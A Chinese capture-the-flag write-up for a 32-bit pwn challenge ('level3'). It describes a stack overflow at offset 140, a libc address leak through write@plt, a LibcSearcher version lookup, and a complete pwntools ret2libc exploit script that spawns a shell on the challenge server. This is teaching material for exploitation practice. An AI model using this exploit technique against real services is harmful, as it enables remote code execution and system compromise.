文件下载地址:
链接:https://pan.baidu.com/s/1ByM1Dbt5j7Gw9mNkWryAVA
提取码:pqzc
目录
0x01.分析
checksec:
32位程序,开启了NX。
查看源码:
程序流程:
流程很简单,程序先输入,然后我们输入。
漏洞利用:
- 很明显read处栈溢出。
- 计算得到栈溢出的偏移量为140。
- 寻找system函数或/bin/sh。
- 没有找到上述。
- 题目提供了一个libc文件,提示也是libc。
- 我们想到泄露libc基址的办法。
- 泄露一个已经执行过的函数,这里选用__libc_start_main。
- 利用存在的函数把这个要泄露的函数的地址打印出来。
- 接收地址,并使用LibcSearcher工具查询libc版本。(也可以用一个网站,应该题目提供的libc文件有用,但我没有用到)。
- 计算出libc的基址,并求得sytem和/bin/sh得地址。
- 控制程序返回到main函数,再进行一次栈溢出,执行system函数,得到shell。
0x02.exp
##!/usr/bin/env python
from pwn import*
from LibcSearcher import LibcSearcher
r=remote("111.198.29.45",36406)
#r=process('./level3')
elf=ELF('./level3')
write_plt=elf.plt['write']
libc_start_main_got=elf.got['__libc_start_main']
main=elf.symbols['_start']
payload=flat([140*'A',write_plt,main,1,libc_start_main_got,4])
r.sendlineafter("Input:\n",payload)
libc_start_main_adr=u32(r.recv()[0:4])
libc=LibcSearcher('__libc_start_main',libc_start_main_adr)
libcbase=libc_start_main_adr-libc.dump('__libc_start_main')
system_adr=libcbase+libc.dump('system')
bin_sh_adr=libcbase+libc.dump('str_bin_sh')
payload=flat([140*'A',system_adr,0,bin_sh_adr])
r.sendline(payload)
r.interactive()
0x03.说明
题目提供了libc文件,但我暂时不知道怎么使用,应该是用于查询libc版本的。
用LibcSearcher会有多种可能,并且本地测试,和服务器测试都不一样的。
由于种数比较少,我就直接一个个试,最后得到正确的libc版本,获取shell。